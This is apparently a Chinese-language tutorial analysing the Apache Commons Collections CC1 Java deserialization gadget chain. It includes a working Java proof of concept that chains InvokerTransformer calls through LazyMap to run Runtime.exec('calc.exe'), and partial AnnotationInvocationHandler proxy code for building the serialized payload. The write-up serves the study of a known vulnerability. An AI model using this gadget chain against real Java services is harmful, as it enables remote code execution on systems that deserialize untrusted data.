0x01、基礎知識鋪墊
接下來這個過程將涉及到幾個介面和類
1、LazyMap
我們通過下⾯這⾏程式碼對innerMap進⾏修飾,傳出的outerMap即是修飾後的Map:
Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);
2、Transformer
Transformer是⼀個接⼝,它只有⼀個待實現的⽅法:
3、ConstantTransformer
ConstantTransformer是實現了Transformer接⼝的⼀個實現類,它的過程就是在建構函式的時候傳⼊⼀個
物件,並在transform⽅法將這個物件再返回:
4、InvokerTransformer
InvokerTransformer是實現了Transformer接⼝的⼀個類,這個類可以⽤來執⾏任意⽅法,這也是反序
列化能執⾏任意程式碼的關鍵。
在例項化這個InvokerTransformer時,需要傳⼊三個引數,第⼀個引數是待執⾏的⽅法名,第⼆個引數
是這個函式的引數列表的引數型別,第三個引數是傳給這個函式的引數列表:
後⾯還提供了transform⽅法,就是執⾏了input物件的iMethodName⽅法:
5、ChainedTransformer
ChainedTransformer也是實現了Transformer接⼝的⼀個實現類,它的作⽤是將內部的多個Transformer串
在⼀起。
也就是Stream中的概念,鏈式呼叫
看到transform方法是通過傳入Trasnformer[]陣列來對傳入的數值進行遍歷並且呼叫陣列物件的transform方法。
6、Map
Transform來執行命令需要繫結到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類繫結到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map型別有不同的觸發規則。
7、decorate
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
LazyMap
是在get
方法去呼叫方法,當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法
0x02、exp的分析
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class test02_cc1 {
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//將transformers陣列存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//建立Map並繫結transformerChina
Map innerMap = new HashMap();
innerMap.put("key", "0x7e");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
我們先看看這段程式碼,看不懂沒事,我們分段一步一步分析
0x03、第一部分分析
可以看出這邊是new一個Transformer
型別的陣列,裡面儲存的都是Transformer
的實現類
第一個元素中是ConstantTransform
:
為什麼是傳入Runtime.class
,因為Runtime
類不用實現Serializable介面,所以沒辦法進行反序列化
Runtime.getRuntime()
和 Runtime.class
的區別 ,前者是⼀個 java.lang.Runtime
物件,後者是⼀個 java.lang.Class
物件。Class類有實現Serializable接⼝
然後通過類名.class
反射獲取到了Runtime
物件
接下來就是InvokerTransformer
;通過前置知識鋪墊,我們知道第⼀個引數是待執⾏的⽅法名,第⼆個引數
是這個函式的引數列表的引數型別,第三個引數是傳給這個函式的引數列表
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
getMethod, null, getRuntime
invoke , null, null
exec , null, calc.exe
引數型別如下
接下來我們進去InvokerTransformer.class
內部檢視一下程式碼怎麼執行的
這邊需要回顧一下getMethod
方法的使用
點選檢視另外一篇文章操作成員方法
由此我們知道getMethod
第一個引數是要呼叫方法的名稱,第二個是要執行的引數型別
invoke
第一個引數是獲取到的class物件,接下來就是按照對應格式傳入引數
這邊就非常清楚了,呼叫java.lang.Runtime
裡面的getRuntime
方法,獲取到物件
接下來的幾個InvokerTransformer
也是一樣的,就不細細分析了
0x04、第二部分分析
這邊是鏈式呼叫,什麼是鏈式呼叫函式
想深入瞭解的可以看看這邊文章https://www.jb51.net/article/49405.htm
經過ChainedTransformer
會依次執行Transformer[]
陣列裡面的方法,最後變成如下這段程式碼
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
最後再建立一個Map
,並傳入鍵值對,通過decorate
方法
這邊可以看到第一個是map,也就是我們上面建立的map,然後就是Transformer[]
陣列,在返回回來
最後你會疑問,咋返回的Map跟上面沒區別?
這時候可以百度一下LazyMap
是怎麼回事的
也就是說,當get方法被呼叫的時候,這個LazyMap
才會建立執行,當呼叫get(key)
的key不存在時,會呼叫transformerChain
的transform()
方法
tmpmap.get("hello");
所以這邊hello的key是不存在的,所以執行了惡意程式碼
那我們可以get("key")
試試
因為我們有這個key,所以沒有執行惡意程式碼,事實證明,我們的想法是正確的
0x05、第三部分分析
通過此處,f7步入get()
方法內部
傳入過後,LazyMap
的get
方法方法裡面的this.factory
為Transformer[]
陣列,這時候去呼叫就會執行transform
方法
而ChainedTransformer
的transform
方法又會去遍歷呼叫Transformer[]
裡面的transform
方法
導致使用方式的方式傳入的Runtime
呼叫了exec
執行了calc.exe
彈出一個計算器
0x06、序列化構造
上文是執行成功了,但是我們需要構造惡意的序列化,我們知道,只要呼叫了get方法,就會執行rce了
所以ysoserial找到了另一條路,AnnotationInvocationHandler
類的invoke方法有呼叫到get
當時我們要怎麼呼叫這個AnnotationInvocationHandler#invoke()
這時候我們可以借用物件代理進行呼叫
然後,我們需要對 sun.reflect.annotation.AnnotationInvocationHandler
物件進行Proxy:
//獲取class物件
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//根據引數型別獲得對應的Constructor物件,第⼀個引數是⼀個Annotation類
//第⼆個是引數就是前⾯構造的Map
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//設定暴力反射
construct.setAccessible(true);
//通過newInstance例項化物件,從而執行建構函式,導致rce
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//新增
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理後的物件叫做proxyMap,但我們不能直接對其進行序列化,因為我們入口點是
sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我們還需要再用
AnnotationInvocationHandler
對這個proxyMap進行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
由於存在漏洞的AnnotationInvocationHandler
jdk版本找不到,序列化的構造就這樣敷衍的寫一寫